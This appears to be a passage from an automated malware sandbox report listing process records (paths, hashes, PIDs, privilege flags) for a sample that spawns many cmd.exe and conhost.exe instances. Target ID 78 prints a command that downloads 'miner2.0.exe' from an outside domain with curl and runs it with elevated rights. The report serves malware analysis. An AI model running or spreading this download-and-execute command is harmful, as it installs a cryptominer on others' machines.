Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	11:42:08
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:42:08
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:42:08
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:42:08
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:42:09
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:42:09
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:42:10
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7892, Parent PID: 7880

General

Target ID:	22
Start time:	11:42:10
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:42:10
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7928, Parent PID: 7900

General

Target ID:	24
Start time:	11:42:10
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:42:11
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 3872, Parent PID: 7636

General

Target ID:	26
Start time:	11:42:11
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8012, Parent PID: 3872

General

Target ID:	27
Start time:	11:42:11
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:42:11
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:42:13
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7bb480000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 6064, Parent PID: 7636

General

Target ID:	30
Start time:	11:42:13
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2208, Parent PID: 6064

General

Target ID:	31
Start time:	11:42:13
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:42:13
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:42:14
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8124, Parent PID: 2228

General

Target ID:	34
Start time:	11:42:14
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:42:14
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2088, Parent PID: 1984

General

Target ID:	36
Start time:	11:42:14
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:42:15
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4444, Parent PID: 8180

General

Target ID:	38
Start time:	11:42:16
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:42:16
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	11:42:16
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:42:17
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6452, Parent PID: 6428

General

Target ID:	42
Start time:	11:42:17
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:42:17
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4588, Parent PID: 7456

General

Target ID:	44
Start time:	11:42:17
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:42:18
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7048, Parent PID: 6988

General

Target ID:	46
Start time:	11:42:18
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	11:42:18
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	11:42:18
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	11:42:20
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 1716, Parent PID: 888

General

Target ID:	51
Start time:	11:42:20
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	11:42:20
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3672, Parent PID: 1988

General

Target ID:	53
Start time:	11:42:20
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	11:42:21
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5816, Parent PID: 5752

General

Target ID:	55
Start time:	11:42:21
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	11:42:21
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5196, Parent PID: 3760

General

Target ID:	57
Start time:	11:42:21
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	11:42:22
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	11:42:22
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	11:42:23
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2680, Parent PID: 2696

General

Target ID:	61
Start time:	11:42:23
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	11:42:25
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 1740, Parent PID: 7636

General

Target ID:	63
Start time:	11:42:25
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4928, Parent PID: 1740

General

Target ID:	64
Start time:	11:42:25
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	11:42:25
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	11:42:27
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 5676, Parent PID: 7636

General

Target ID:	67
Start time:	11:42:27
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	11:42:27
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	11:42:27
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	11:42:28
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 6184, Parent PID: 7636

General

Target ID:	71
Start time:	11:42:28
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6188, Parent PID: 8

General

Target ID:	72
Start time:	11:42:28
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	11:42:28
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	11:42:29
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	11:42:29
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	11:42:29
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6804, Parent PID: 6616

General

Target ID:	77
Start time:	11:42:29
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	11:42:31
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c cd /d %temp% && del miner2.0.exe 2>nul && curl -o miner2.0.exe https://eijfrhegrtbrfcd.online/download/miner2.0.exe && start miner2.0.exe
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	11:42:31
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	11:42:31
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6556, Parent PID: 6288

General

Target ID:	81
Start time:	11:42:31
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	11:42:31
Start date:	27/09/2024
Path:	C:\Windows\System32\curl.exe
